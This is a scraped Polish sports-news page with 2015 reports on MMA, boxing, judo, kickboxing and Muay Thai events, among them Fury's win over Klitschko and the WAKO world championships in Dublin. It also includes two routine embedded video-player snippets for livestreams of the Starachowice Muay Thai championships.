Formuła oriental rules gwarantuje widowisko na najwyższym poziomie. Ten, kto szuka ogromnych wrażeń, różnorakich ciosów oraz efektownych walk z pewnością powinien wybrać się do Starachowic bądź śledzić mistrzostwa w telewizji FighTime, która jako jedyna przeprowadzi transmisję z wydarzenia. Zapraszamy do śledzenia imprezy za naszym pośrednictwem. Organizatorzy zapowiadają ogromne emocje, wysyp fenomenalnych walk, który uwieńczone zostaną wyłonieniem najlepszych z najlepszych.

Ciosy bokserskie, uderzenia łokciami, kopnięcia, kolana – nie ma żadnych ograniczeń. Do tego dochodzi ogromna siła, rzuty, obalenia, klincz. W oriental rules zawierają się wszystkie możliwe elementy, które sprzyjają nadawaniu walkom charakteru prawdziwej bitwy. Jak zapewnia prezes Klubu Sportowego „Dragon” Starachowice, „oriental rules to jedna z najbardziej widowiskowych form rywalizacji”.

Organizatorzy przygotowali warunki do rywalizacji dla juniorów i seniorów. Pojedynki będą toczyły się w dziewiętnastu kategoriach wagowych. 4 grudnia zawodnicy zaprezentują się podczas ważenia, a już w sobotę ruszą na ring. Uroczyste otwarcie mistrzostw zaplanowano na godzinę 15.00, jednak wcześniej odbędą się pierwsze walki eliminacyjne. W niedzielę przyjdzie czas na półfinały i finały. Seniorzy będą rywalizowali w pojedynkach trzyrundowych po trzy minuty, zaś czas trwania jednej odsłony w przypadku juniorów będzie o minutę krótszy. W Starachowicach dojdzie również do rywalizacji weteranów w kick light. Tu walki będą trwały łącznie trzy minuty (dwie rundy).

Co, gdzie, kiedy?

Miejscem zmagań będzie Miejska Hala Sportowa przy ul. Jana Pawła II 22 w Starachowicach. Najlepsi zawodnicy oprócz medali otrzymają również pasy mistrzowskie.

4-6 grudnia rywalizacja w mistrzostwach Polski oriental rules seniorów i juniorów. Transmisję z wydarzenia przeprowadzi telewizja FighTime. Zapraszamy dla śledzenia transmisji za naszym pośrednictwem.

KM

Bedorf chce walczyć z legendą

Siedem pojedynków z rzędu wygrał Karol Bedorf w KSW. Popularny „Coco” nie wypuszcza z rąk mistrzowskiego pasa wagi ciężkiej i szuka kolejnych wyzwań.

Bedorf po raz ostatni przegrał w marcu 2011 roku. Pogromcą polskiego fightera okazał się Hiszpan Rogent Llorent. Od tego czasu Bedorf tylko wygrywa. „Coco” zrobił ogromny postęp, dojrzał i stał się czołową postacią wagi ciężkiej polskiego MMA.

Mierzy wysoko

Na gali KSW 33 Bedorf uporał się z Michałem Kitą. Pojedynek zapowiadany był jako niezwykle interesujące starcie, którego stawką był pas wagi ciężkiej. KSW czekało na Kitę bardzo długo. Popularny „Masakra” rozwijał swoją karierę na galach zagranicznych organizacji i stał się łakomym kąskiem na polskim rynku. W końcu pojawił się na KSW. Bedorf nie miał dla niego litości i już w drugiej rundzie kopnięciem na głowę zakończył walkę.

„Coco” stoi na szczycie KSW i chciałby sprawdzić swoje możliwości w starciu z legendarnym Fiodorem Jemieljanienką. 39-letni Rosjanin wraca do MMA po ponad trzyletniej przerwie i 31 grudnia zaprezentuje się podczas gali Rizin FF w Saitamie. Nazwisko jego rywala nie jest jeszcze znane.

Czy wątpliwe jest starcie Bedorfa z Jemieljanienką? Wielu wydaje się obecnie nieprawdopodobne, ale warto zwrócić uwagę na jeden ważny szczegół. KSW podjęło współpracę z japońską organizacją Rizin FF, dla której pojedynek stoczy legendarny Rosjanin. Zapala się więc światełko dla starcia Bedorf vs Jemieljanienko. Pytanie, czy dojdzie do niego na gali KSW czy w Japonii? Wszystko zależy od obu stron i ich gotowości do podjęcia negocjacji. Zobaczyć Fiodora w akcji w Polsce to by było coś.

MMA znowu w Londynie

Niedawno na zagraniczną ekspansję zdecydowała się organizacja KSW, która gościła w Londynie. Teraz stolicę Anglii odwiedzi światowy potentat UFC. Amerykanie zapowiadają kolejne swoje wydarzenie na 27 lutego.

Do domu ponownie zawita Michael Bisping, który zmierzy się z Gegardem Mousasi. Zapowiada się ciekawe starcie w wadze półśredniej, gdyż na arenie walki pojawią się odpowiednio numer 7 i 8 organizacji. 36-latek wygrał dwie ostatnie walki, ale nie będzie miał łatwego zadania. Mousasi w pojedynkach z Danem Hendersonem oraz Costasem Philippou pokazał spore możliwości.

Interesująca może okazać się walka Marka Wilkinsona i Makwana Amirkhaniego. Anglik z powodu kontuzji odpoczywał rok od walki. Anglik stanie przed trudnym wyzwaniem. Amirkhani to niezwykle szybki i efektowny zawodnik. Andy'ego Ogle'a Fin rozłożył na łopatki w zaledwie osiem sekund.

Organizatorzy ujawnili jeszcze jedną walkę lutowej gali. W pojedynku wagi lekkiej zaprezentują się Norman Parke i Rustam Chabiłow.

KM

Nadszedł czas na Tokio

„To już jest koniec, nie ma już nic” – zapewne te słowa wybrzmią po turnieju Grand Slam. Tym razem najlepsi judocy świata spotkają się w prestiżowych zawodach Jigoro Kano w Tokio. Będzie to zakończenie sezonu IJF Tour.

Rywalizacja na tatami rozpocznie się 4 grudnia, a ostatnie walki odbędą się 6 grudnia. Kto będzie miał powody do radości i sprawi sobie mikołajkowy prezent? W Tokio zaprezentuje się pięcioro reprezentantów Polski.

Powalczą o punkty

To będzie ostatni akord kończącego się sezonu, ale nikt nie ma zamiaru odpuszczać. Zawody w Tokio to bardzo prestiżowy konkurs, w którym nie zabraknie gwiazd. Polskę będą reprezentowali: Karolina Pieńkowska (52 kg), Alesander Beta i Michał Bartusik (obaj 66 kg), Damian Szwarnowiecki (73 kg) i Łukasz Błach (81 kg).

Równą i stabilną formę wydaje się prezentować Damian Szwarnowiecki, który gromadzi punkty, jednak ostatni występ na miarę podium zaliczył w lipcu w niemieckim Sindelfingen. Mistrz Europy juniorów i młodzieżowców z 2012 roku w ostatnim starcie w Jeju stoczył trzy walki i szybko pożegnał się z rywalizacją. Swojej szansy w Tokio poszuka również Michał Bartusik. Polski judoka wystąpił również w Jeju, gdzie stoczył dwie walki. Bartusik poległ w starciu z Golanem Pollackiem, który w tym roku sięgnął po brązowy medal mistrzostw świata. Aleksander Beta bardzo chciał pojechać na czempionat do Astany i prosił o wsparcie finansowe. Nasz judoka wystąpił w mistrzostwach świata, jednak w tym sezonie prezentuje się przeciętnie. Najwyższe piąte miejsca wywalczył w Warszawie i Sindelfingen. Z kolei Łukasz Błach szuka formy i punktów, aby wywalczyć kwalifikację olimpijską.

Udany sezon notuje Karolina Pieńkowska. 22-latka w tym roku wywalczyła tytuł młodzieżowej mistrzyni Europy w kategorii 52kg. Wspólnie z reprezentacją Polski sięgnęła po srebrny medal mistrzostw świata w Astanie. Teraz Pieńkowska próbuje swoich sił w azjatyckim tournée. W Jeju Polka szybko odpadła. Udanie rozpoczęła rywalizację zwyciężając zawodniczkę z Mongolii, jednak w kolejnym pojedynku uległa Mako Uchio.

W ubiegłym roku do Tokio udało się siedmioro reprezentantów Polski. Żadnemu z nich nie udało się znaleźć w czołówce. Po raz kolejny na zawody Grand Slam do Tokio uda się Aleksander Beta. Rok temu Polak wygrał jeden pojedynek podczas zawodów Jigoro Kano. Czy tym razem ktoś wskoczy na podium?

Kto będzie dominował?

W 2014 roku karty w Tokio rozdawali gospodarze, którzy wywalczyli siedem złotych medali. Kroku starali się im dotrzymać Koreańczycy, jednak zdobyli tylko trzy pierwsze miejsce. Czy historia powtórzy się? Niewykluczone. Podczas zawodów w Azji te dwie nacje notują dobre występy. W zawodach Grand Prix w Jeju najlepsi w klasyfikacji medalowej okazali się Koreańczycy, którzy triumfowali w pięciu kategoriach, a łącznie wywalczyli dziesięć medali. Japończycy pięciokrotnie stawali na podium. W klasyfikacji medalowej kraje z Azji przedzieliła Francja. 

KM

Co się dzieje w ciężkiej?

Rewolucja! Kategoria królewska ma nowego króla. Tyson Fury wielokrotnie pokazywał, że jest „mocny w gębie”. Teraz potwierdził swoją ringową dominację.

Władimir Kliczko długo odprawiał pretendentów do tytułów mistrzowskich z kwitkiem. Niewielu spodziewało się, że w Dusseldorfie sposób na Ukraińca znajdzie Tyson Fury.

Pajac został mistrzem

Na szali były pasy WBA, WBO, IBF, IBO wagi ciężkiej. Kliczko przystępował do rywalizacji jako król, który imponował opanowaniem i klasą. Fury bardzo chciał, wielokrotnie podkreślał swoje mistrzowskie aspiracje, ale wielu patrzyło na niego z przymrużeniem oka. Pojedynek zaczął się dość nietypowo. Zazwyczaj Kliczko czeka na rywala, a w tym przypadku ruszył do przodu i szukał szansy, aby trafić boksera z Wysp Brytyjskich. Fury nic sobie z tego nie robił. W ringu prowokował mistrza, opuszczał ręce, robił show, a wrażeń czysto bokserskich nie było zbyt wielu.

Fury nie skracał dystansu, czym potęgował niezadowolenie publiczności i Ukraińca. Kliczko starał się wyprowadzać celne ciosy, które dadzą efekty, ale trudno było mu ustrzelić młodszego rywala. W dziewiątej rundzie w końcu doszło do ostrej wymiany. Z czasem Kliczko miał problemy ze skutecznością. Ukrainiec w jedenastej rundzie ugiął się na nogach po mocnym lewym sierpowym Fury'ego. Brytyjczyk nie przypieczętował swojego zwycięstwa nokautem, jednak sędziowie nie mieli problemu z wyborem zwycięzcy. Punktowali 115-112, 115-112, 116-111 dla Fury'ego.

Świat przecierał oczy ze zdumienia. Dominacja Władimira Kliczko dobiegła końca. W wadze ciężkiej nadszedł czas na młodych i żądnych zwycięstw bokserów. Przy okazji niepokornych. 

Będzie rewanż?

Pojawia się wiele pytań dotyczących przyszłości byłego już mistrza świata wagi ciężkiej. Kliczko swego czasu myślał o zakończeniu kariery. Czy porażka jest początkiem jego końca? Ukrainiec czeka na rewanż. – Walka rewanżowa na pewno odbędzie się. Na szczegóły przyjdzie jeszcze czas. Jest zbyt wcześniej, aby cokolwiek powiedzieć. Byłem dobrze przygotowany do walki. Tyson pokazał szybkość i energiczność. Nie sądziłem, że zaprezentuje się z takiej strony. Mi zabrakło szybkości i wyczucia dystansu – analizował Kliczko.

Co na to nowy mistrz świata? – Kliczko będzie chciał rewanżu, jednak może wróci do domu i przemyśli całą sytuację, a w ostateczności zmieni zdanie. Chciałbym ponownie zjawić się w Niemczech i walczyć tu z Władimirem – mówi Fury.

Swoje zdanie, co do przyszłości Ukraińca zaprezentował David Haye. Brytyjczyk nie widzi szans dla Kliczko. – Kliczko jest skończony. On jest stary, a teraz przyszło nowe! – powiedział Haye. 

Nowy mistrz wagi ciężkiej zasiadł na tronie, ale nie będzie miał łatwo. Wydaje się, że jest odporny na krytykę i gotowy realizować swój plan. Czy wytrzyma psychicznie? Do tej pory sam robił wokół siebie zamieszanie, a teraz stanie się obiektem zainteresowania wszystkich. Trudno mu będzie nad tym zapanować. Dodatkowo pojawią się wyzwania. Kolejny wielki pojedynek to starcie Fury vs Wilder? – Mógłbym znokautować Fury'ego. Jestem zdecydowanie szybszy, silniejszy i 10 razy lepszy od niego – podkreślał swoją wyższość mistrz świata WBC.

KM

Wybiła Godzina złotych medali

Wedle tekstu popularnej piosenki „dziewczyny lubią brąz”. Chyba niekoniecznie. Złoto ma swój blask i idealnie prezentuje się na szyjach naszych zawodniczek. Dorota Godzina i Paulina Jarzmik zostały mistrzyniami świata WAKO w kickboxingu.

Nasi fighterzy szturmowali Dublin i od początku pokazywali, że świat musi się z nimi liczyć. Łącznie mieliśmy siedem szans na złote medale, ale udało się wygrać tylko trzy pojedynki.

Kolekcjonerki

Dorota Godzina po raz kolejny udowodniła, że ma ogromne możliwości. Polka w tym roku perfekcyjnie radziła sobie w walkach zawodowych, a także w startach krajowych. Dodatkowo zawodniczka X Fight Piaseczno wywalczyła tytuł mistrzyni świata w kick light. W Dublinie Polka rywalizowała w light contact 55kg. Godzina w decydującym starciu spotkała się z Gabriellą Busą. Los po raz pierwszy skojarzył obie zawodniczki. Polka miała świadomość, że Węgierka jest mocna. W ubiegłym roku Busa zdobyła tytuł wicemistrzyni świata w kick light oraz brązowy medal mistrzostw świata w light contact. Godzina za wszelką cenę starała się zneutralizować atuty rywalki. Węgierka dobrze kopie, ale w finale nie mogła tego pokazać. Dorota Godzina świetnie uderzała i pewnie wygrała 3:0.

W light contact 60kg po złoto sięgnęła Paulina Jarzmik. Trenująca w Lichtensteinie zawodniczka spotkała się z Luną Mendy. Panie znają się na wylot, gdyż już kilka razy rywalizowały ze sobą. Jarzmik miała dobre wspomnienia z walk z Mendy, jednak jeden z pojedynków przegrała, ale wokół wyniku pojawiły się kontrowersje. Tym razem nie było żadnych wątpliwości, która fighterka zasłużyła na złoto.

Słowa dotrzymał Mateusz Kubiszyn. Polak szedł jak burza w 86kg full contact i zapowiadał, że jego celem jest złoto. W finale trafił na mocnego Rosjanina Igora Kopylova. Działo się. To była prawdziwa batalia, w której obaj zawodnicy byli niezwykle zawzięci. Kubiszyn miał więcej sił i lepiej wytrzymał trudy pojedynku.

Kto z medalem?

Trzy złote medale, czy mogło być lepiej? Mogło. O tytuł mistrzowski walczyło siedmioro naszych reprezentantów, jednak nie wszystkim udało się wygrać walkę o złoty medal. Ewa Bulanda w full contact 48kg musiała uznać wyższość Yulii Staforkiny z Rosji. Bashir Tazhdinov okazał się lepszy od Roberta Krasonia w full contact 75kg. W light contact +94kg porażką w finale musiał pogodzić się Aleksander Stawirej. Pogromcą Polaka okazał się Filipp Salugin z Rosji.

Wcześniej srebrny medal zdobyłTomasz Szczepaniuk w light contact 63kg weteranów. Trzecie miejsca wywalczyli: Karolina Dziedzic w full contact 70kg, Wojciech Peryt w full contact 54kg, Robert Niedźwiecki w full contact 57kg oraz ŁukaszWichowski w light contact 79kg.

KM

Oczekiwanie i pół minuty emocji

KSW zelektryzowało całą Polskę. Pojawienie się pojedynku Mamed Khalidov vs Michał Materla sprawiło, że wszyscy zacierali ręce i czekali. Miał być to największy smakołyk polskiego MMA wszech czasów. Czy był?

Polską marką MMA na świecie jest Joanna Jędrzejczyk, która cieszy się z władania w wadze słomkowej w prestiżowej organizacji UFC. W Polsce ukłuło się, że nie ma lepszego od Khalidova, jednak królem wagi średniej pozostawał Michał Materla. Nadszedł czas na zmiany.

Chwila niepewności

KSW po raz kolejny wzbudziło ogromne zainteresowania swoją galą. W Krakowie odbyła się walka czołowych twarzy organizacji – Khalidova i Materli. Waga średnia nakręca KSW. Niedawno byliśmy świadkami pojedynku Materli z Drwalem, czyli rywalizacji dwóch potężnych nazwisk. Były zawodnik UFC debiutował w KSW, co również wzbudziło ogromne zainteresowanie i przyciągnęło rzeszę fanów. Jednak to była dopiero gra wstępna włodarzy organizacji. Przygotowali prawdziwą wisienkę na torcie. Khalidov i Materla nie kryją, że żyją w dobrych relacjach, ale w końcu trzeba było wyjaśnić, kto jest mocniejszy.

Panowie dogadali się, podpisali kontrakty i mieli zrobić show. Wiadomo było, że Mamed to szybkość i niekonwencjonalne zakończenia. Z kolei Materla to zawodnik uważny, w pełni skoncentrowany i niezwykle twardy. Padały pytania dotyczące obrazu tej walki. Jedni przewidywali, że może być to długi spektakl. Inni mówili, że pojedynek będzie nudny. Z dużej chmury mały deszcz – tak miało ponoć być. Rzeczywistość okazała się zgoła inna. Khalidov ruszył na rywala niczym niedawna mistrzyni UFC Ronda Rausey. Mamed trafił prawym Materlą, który zachwiał się. Khalidov szybko do akcji włączył kolano i posłał kolejny cios w stronę mistrza wagi średniej. Materla padł, a pretendent dokończył dzieła. Tytuł zmienił właściciela, a na pytanie, które nurtowało wszystkich tyle czasu odpowiedź padła w zaledwie trzydzieści jeden sekund.

Bedorf nokautuje

Karol Bedorf obronił tytuł mistrza wagi ciężkiej KSW. Popularny „Coco” z impetem rozpoczął pojedynek, jednak później przygasł i inicjatywa była po stronie Michała Kity. W drugiej rundzie mistrz konsekwentnie dążył do zwycięstwa. Bedrof kopnięciem na głowę znokautował Kitę i mógł cieszyć się z udanej obrony pasa.

W wadze piórkowej o tytuł walczył Artur Sowiński. Jego rywalem był gibki Kleber Koike Erbst. Japończyk szukał rozwiązania walki w parterze, jednak za każdym razem „Kornik” wychodził cało z opresji. W stójce Polak rozdawał karty i sędziowie jednogłośnie wskazali na jego zwycięstwo. Aziz Karaoglu po raz kolejny pokazał, że jego szybkie ciosy są niezwykle niebezpieczne. Przekonał się o tym Maiquel Falcao. Ariane Lipski w drugiej rundzie zastopowała zapędy Katarzyny Lubońskiej.

Vaso Bakocević musiał odklepać, gdyż Anzor Ażijew założył skuteczny trójkąt rękoma. Zwycięstwo Karola Szymuszowskiego, jednak sędziowie nie byli jednogłośni w ocenie jego starcia z Davidem Zawadą. Łukasz Chlewicki triumfował w pojedynku z Bartłomiejem Kurczewskim.

KM

Kubiszyn zmierza do celu

Mateusz Kubiszyn idzie jak burza. Reprezentant Polski pokonał w półfinale Hasana Merta Kizila i będzie walczył o złoty medal mistrzostw świata WAKO w kickboxingu, które odbywają się w Dublinie.

Rywalizacja wkracza w decydującą fazę. Na placu boju zostali najlepsi z najlepszych. Sześcioro Polaków ma szansę na zdobycie tytułu mistrzowskiego. Ilu biało-czerwonych stanie na najwyższym stopniu podium?

Dwie złote panie?

Do finału light contact 55kg awansowała Dorota Godzina. Zawodniczka trenująca w X Fight Piaseczno w ćwierćfinale przeżywała kryzys. Co prawda wypunktowała Sabinę Bec, jednak zmęczenie dawało o sobie znać. Można powiedzieć, że zawodniczka miała po prostu groszy dzień, ale umiejętnościa pozwoliły przechylić jej szalę zwycięstwa na swoją korzyść. W półfinale zaprezentowała się już zupełnie inna Godzina. Nadine Kurten nie miała żadnych szans. Polka dominowała na każdej płaszczyźnie i pewnie wypunktowała niemiecką fighterkę.

Awans do finału w light contact 60kg wywalczyła Paulina Jarzmik. W półfinale Polka uporała się z Rosjanką Mariną Popovą. Jarzmik rywalizowała również w pointfightingu, jednak tam zabrakło jej szczęścia. Adriem Kadas okazała się lepsza po dogrywce, choć po pierwszej rundzie nasza zawodniczka prowadziła. W 79kg light contact o złoty medal nie powalczy Łukasz Wichowski, który w półfinale uległ Emanuilowi Dimitrowowi. Z kolei Aleksander Stawirej w light contact +94kg postara się o triumf. W półfinałowej walce Polak pokonał Alesza Lolblera ze Słowenii.

Złoto mógł mieć Tomasz Szczepaniuk w rywalizacji weteranów light contact 63kg. Kontuzja łydki pozbawiła zdobywcę Pucharu Świata w taekwondo szans na rywalizację w decydującym starciu.

Kubiszyn nie zwalnia tempa

Mateusz Kubiszyn w full contact 86kg idzie jak burza. Polski fighter podkreśla, że do Dublina przyjechał po złoto i nikt nie stanie na jego drodze do triumfu. Przekonał się o tym w półfinale Hasan Mert Kizil, który poczuł mocny cios Polaka. Kubiszyn zakończył rywalizację przed czasem.

Robert Krasoń w 75kg z dobrej strony zaprezentował się w ćwierćfinale. Potrzebował niecałej minuty, aby awansować do strefy medalowej. Półfinał nie był jednak łatwy. Debiutujący w mistrzostwach świata zawodnik stanął na wprost Nathana Keya. Walka wyrównana, Amerykanin dobrze pracował lewą ręką. O triumfie Krasonia zadecydowała trzecia runda, w której zdecydowanie ruszył do przodu i trafiał rywala.

W 48kg o złoto powalczy Ewa Bulanda. Polka w półfinale uporała się z Flavią Gasperini. Z kolei Johannes Wolf okazał się zbyt mocnym przeciwnikiem dla Roberta Niedźwiedzkiego w 57kg.  Polak przegrał na punkty. W pierwszej i drugiej rundzie Niemiec dominował, czego najlepszym dowodem jest fakt, że Niedźwiedzki był liczony. Brązowe medale wywalczyli również Karolina Dziedzic (70kg) i Wojciech Peryt (54kg).

KM

Dusseldorf czeka na show

Na szali pasy mistrzowskie WBA, IBF, WBO i IBO kategorii ciężkiej. Tyson Fury wyciąga ręce, aby przejąć tytuły. Czy Władimir Kliczko mu na to pozwoli?

28 dzień listopada 2015 roku jest najważniejszym w zawodowej karierze boksera z Wysp Brytyjskich. Fury ma najlepszą okazję, aby potwierdzić, że nie rzucał słów na wiatr. W Dusseldorfie 27-latek musi pokonać Władimira Kliczko, żeby zasiąść na tronie wagi ciężkiej.

Ranga wydarzenia

Tyson Fury słynie z umiejętności budowania estymy wokół własnej osoby. Pięściarz z Wilmslow nie przebiera w słowach. Potrafi dosadnie nazwać każde zjawisko, a przy okazji wzbudzić zainteresowanie. Fury ma zmysł, który pozwala mu cały czas być na pierwszym planie. Częściej pojawiają się doniesienia o tym, co Anglik powiedział niż o tym, co zrobił w ringu. Kariera Fury’ego przebiega harmonijnie. Obecnie na Wyspach nie ma lepszego pięściarza od niego. Powrót Davida Haye’a mógłby zrodzić ciekawą rywalizację o miano czołowego angielskiego boksera. Jednak teraz Fury otrzymał szansę, na którą długo czekał. Może zostać mistrzem świata, ale najpierw na ringu w Dusseldorfie musi pokonać Władimira Kliczko.

Ukrainiec to doświadczenie, ringowa mądrość, precyzja oraz skuteczność. Kliczko ma świadomość, że to on rozdaje karty. Wielu chce wejść na jego miejsce, jednak nie wytrzymują presji i w ringu tracą swoją wartość. W ostatnim pojedynku Kliczko pokonał na punkty Bryanta Jenningsa. Wcześniej dwie walki rozstrzygnął przed czasem. Z kolei Fury imponuje mocą i precyzją swoich ciosów. Cztery ostatnie walki zakończył przed czasem, a łącznie aż osiemnaście razy słał swoich rywali na deski. Czy Anglik zrobi wrażenie swoimi ciosami na ukraińskim czempionie?

Zdaniem mistrza wagi ciężkiej Fury poczuł temperaturę pojedynku. – Większość zawodników musi poczuć rangę takiej walki i zobaczyłem to u Tysona, który zazwyczaj wdawał się w dyskusje, a podczas konferencji był miły. Jestem gotowy na wszystko. Fury jest w stanie walczyć mądrze, ale z drugiej strony może również wygłupiać się w ringu – powiedział Kliczko. Fury stara się nieco studzić temperaturę. – Porażka będzie oznaczała, że jestem oszustem i nie jestem dobry. W takim wypadku jako pierwszy powiem to na głos. To kolejna walka, którą muszę stoczyć i nie jest ważniejsza od mojej ostatniej – wyjaśnił angielski bokser.

Kliczko jest lżejszy od pretendenta. Fury waży 112kg, a Ukrainiec 111,5kg.

Polska mistrzyni

Podczas gali Rzeszów Boxing Night po tytuł mistrzyni wagi półśredniej w boksie sięgnęła Ewa Piątkowska. Tygrysica na punkty pokonała Marie Riederer. Wszyscy sędziowie byli zgodnie i wskazali na zwycięstwo Polki – trzy razy 99:91.

Piątkowska dominowała w ringu. „Tygrysica” była aktywniejsza i zadawała więcej ciosów. W siódmej rundzie potężny cios Polki zrobił wrażenie na Riederer. Niemka zachwiała się, a z jej nosa zaczęła cieknąć krew.

KM

Mistrzostwa Polski Muay Thai Starachowice 2015 Finały

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai, Starachowice 2015.

Dzień 2 – 6 grudnia 2015 r. – walki rankingowe – finały

[kod]

Mistrzostwa Polski https://fightime.pl/pl/video/mistrzostwa-polski-muay-thai-starachowice-2015-eliminacje_1/ Thai Starachowice 2015

Mistrzostwa Polski Muay Thai Starachowice 2015

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_MuayThai_Starachowice2015.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_MuayThai_Starachowice2015.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_MuayThai_Starachowice2015.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_MuayThai_Starachowice2015.livx/Manifest"
},
width: 640,
height: 385,
autoplay: false,
});

Mistrzostwa Polski Muay Thai Starachowice 2015 Eliminacje

Zapraszamy na transmisję telewizyjną na żywo z Mistrzostw Polski Muay Thai, Starachowice 2015.

Dzień 1 – 5 grudnia 2015 r. – walki rankingowe – eliminacyjne

[kod]

Mistrzostwa Polski Muay Thai Starachowice 2015

Mistrzostwa Polski Muay Thai Starachowice 2015

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MP_MuayThai_Starachowice2015.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MP_MuayThai_Starachowice2015.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MP_MuayThai_Starachowice2015.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MP_MuayThai_Starachowice2015.livx/Manifest"
},
width: 640,
height: 385,
autoplay: false,
});

Godzina już w półfinale

Marek Drażdżyński może się cieszyć z brązowego medalu mistrzostw świata WAKO w kickboxingu weteranów. Do strefy medalowej awansowali Dorota Godzina i Łukasz Wichowski.

Polacy są zdeterminowani i szturmują Dublin. Kolejne zmagania zakończyły się sukcesem dla naszych fighterów. Siedmioro Polaków jest już w półfinałach.

Wybiła Godzina

Dorota Godzina w ćwierćfinale light contact 55kg pozbawiła szans na dalszą rywalizację Sabinę Bec ze Słowenii. Polka wygrała pewnie, jednak nie był dla niej to łatwy pojedynek. Godzina ma pracowity rok i zmęczenie daje o sobie znać. W rywalizacji z Bec zawodniczka KS X Fight Piaseczno nie forsowała tempa, również nie zaskakiwała kopnięciami. Jednak doświadczenie dało o sobie znać i Polka rozstrzygnęła walkę na swoją korzyść. Teraz powalczy o awans do półfinału.

Z wygranych cieszą się również inni zawodnicy trenujący w KS X Fight Piaseczno. Paulina Jarzmik od początku mistrzostw próbowała swoich sił na dwóch płaszczyznach. W ćwierćfinale light contact 60kg uporała się z Madeleine Palmersjö ze Szwecji, jednak w pointfightingu musiała pogodzić się z porażką. Polka rywalizowała z Adrienn Kadas z Węgier. Pojedynek był niezwykle wyrównany i do rozstrzygnięcia potrzebna była dogrywka, jednak w niej lepsza okazała się Kadas. Łukasz Wichowski miał obawy przez walką w ćwierćfinale light contact 79kg. Utarło się, że ściany pomagają gospodarzom, a rywalem Polaka był Irlandczyk Colm Gilshehan. Wichowski pokazał klasę i nie pozostawił wątpliwości, komu należy się miejsce w strefie medalowej. 

W light contact +94kg do półfinału awansował Aleksander Stawirej. Polak pokonał Petera Bayera z Węgier. Z rywalizacją w light contact na etapie ćwierćfinału pożegnały się Karolina Mośko (50kg) i Agnieszka Osial (70kg).

Full w kratkę

20-letni Robert Niedźwiedzki w full contact 57kg zapewnił sobie medal wygrywając pojedynek z Said Shahwali Firouzadeh. Polak debiutuje na mistrzostwach świata i jest to udany start. W rywalizacji z Norwegiem imponował wyczuciem, skutecznością oraz szybkością. Dla Niedźwiedzkiego Dublin jest szczęśliwy. W tym roku w Irlandii wygrał zawody Pucharu Świata, czy walczy tytuł mistrza świata?

O medale będzie walczyła również Karolina Dziedzic w full contact 70kg. Polka wypunktowała zawodniczkę gospodarzy Claire-Louise Sweetman. W 75kg dobrze poczyna sobie Robert Krasoń, który awans do półfinału zapewnił sobie zwycięstwem nad  Jose Angelem Hofstertter Rodriguezem.

Z marzeniami o podium pożegnała się Gabriela Bednarowicz w full contact 56kg. Veronika Petrikova okazała się lepsza od Polki w każdej rundzie i zdecydowanie wygrała. Na ćwierćfinale swój udział w mistrzostwach świata zakończyli również: Emilia Czerwińska (60kg), Wanesa Nogaj (65kg), Anna Kołodziejska (+70kg), Piotr Odważny (67kg). Oprócz wcześniej wspomnianej Pauliny Jarzmik w pointfighting przegrał również Tomasz Kurzeja (74kg). Pogromcą Polaka okazał się Niemiec Sascha Graske.

Fot. Fightime

KM

Co z Kosteckim?

Dawid Kostecki trafił do szpitala. Informacja ta zelektryzowała niemal wszystkich. Problem w tym, że pojawiają się kolejne domysły dotyczące przyczyn, w związku z którymi pięściarz znalazł się w szpitalu.

Kostecki to jeden z najbardziej rozpoznawalnych polskich bokserów, wokół którego zawsze jest dużo zamieszania. Niekoniecznie chodzi o kwestie czysto sportowe.

Nieaktywny bokser

Do popularnego „Cygana” przylgnęła etykietka człowieka, który jest na bakier z prawem. Kostecki spędził w więzieniu dwa i pół roku za udział w grupie przestępczej. Wielokrotnie pojawiały się informacje dotyczące czerpania przez pięściarza korzyści z nierządu oraz handlu narkotykami. Kostecki trafił za kratki w maju 2012 roku, co sprawiło, że nie mógł stanąć w ringu na wprost legendarnego Roya Jonesa Jr.

Po wyjściu z więzienia „Cygan” wrócił na ring. W listopadzie 2014 roku zmierzył się z Andrzejem Sołdrą i przegrał na punkty. Był to sygnał, że kariera pięściarza wagi półciężkiej dobiega końca.  „Cygan” zdecydował się na przerwanie bokserskiej przygody. To nie koniec kłopotów Kosteckiego. W maju został zawieszony na dwa lata za stosowanie nielegalnych środków. Chciał jeszcze wrócić do sportu. Tym razem jako fighter MMA.

Jednak we wtorek (24 listopada) gruchnęła informacja, że Kostecki trafił do szpitala. Mnożyły się domysły. Według pierwszych pogłosek miałaby być to próba samobójcza. Kolejne domysły to przedawkowania środków i pobicie. Niektóre spekulacje mówią, że Kostecki nie uporał się jeszcze ze swoją przeszłością. Pojawiają się wiadomości o depresji byłego boksera.

Prośby o modlitwę

Na fanpagu Kosteckiego pojawiło się oświadczenie. Zawarte jest w nim potwierdzenie, że „Cygan” trafił do szpitala, jednak nie podano powodów. – W związku z zaistniałą sytuacją, w imieniu Dawida oraz jego rodziny, chciałem zaprzeczyć informacjom, które ukazały się w mediach na temat stanu zdrowia oraz przyczyn dla których znalazł się w szpitalu. Jedyną prawdziwą i potwierdzoną wiadomością jest ta ukazana jako pierwsza, czyli że Dawid Kostecki leży w stanie ciężkim na oddziale intensywnej terapii w szpitalu. Pozostałe to domysły i szukanie sensacji "na siłę" przez media. Z szacunku do niego niestety nie mogę ujawnić więcej szczegółów – brzmi oświadczenie.

W informacji została zawarta również prośba o modlitwę o powrót do zdrowia. – Proszę również o nieprzyjeżdżanie do szpitala(także media!), gdyż to utrudnia i spowalnia pracę lekarzom, a w tym momencie czas jest kluczowy. Na oddział może wejść jedynie żona, dlatego zamiast tego prosiłbym o gorącą modlitwę. Chciałem również podziękować kibicom, którzy tak licznie piszą wiadomości i łączą się z Dawidem. To jest naprawdę ważne i budujące – czytamy w oświadczeniu.

Fot. fanpage Dawida Kosteckiego

KM

Ciężko w ćwierćfinałach

